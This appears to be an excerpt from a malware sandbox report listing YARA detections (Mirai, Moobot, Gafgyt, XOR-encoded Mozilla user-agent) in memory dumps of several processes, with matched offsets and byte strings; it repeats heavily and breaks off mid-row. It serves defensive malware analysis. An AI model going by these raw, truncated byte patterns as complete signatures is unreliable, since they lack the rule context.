7259.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7259.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7259.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7259.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7259.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7259.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6378.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7069.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7069.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7069.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7069.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7069.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7069.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6920.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6920.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6920.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6920.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6920.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6920.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7249.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6511.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7247.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6632.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6632.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6632.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6632.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6632.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6632.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7170.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7170.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7170.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7170.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6261.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6261.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6261.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7170.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7170.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6261.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6261.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 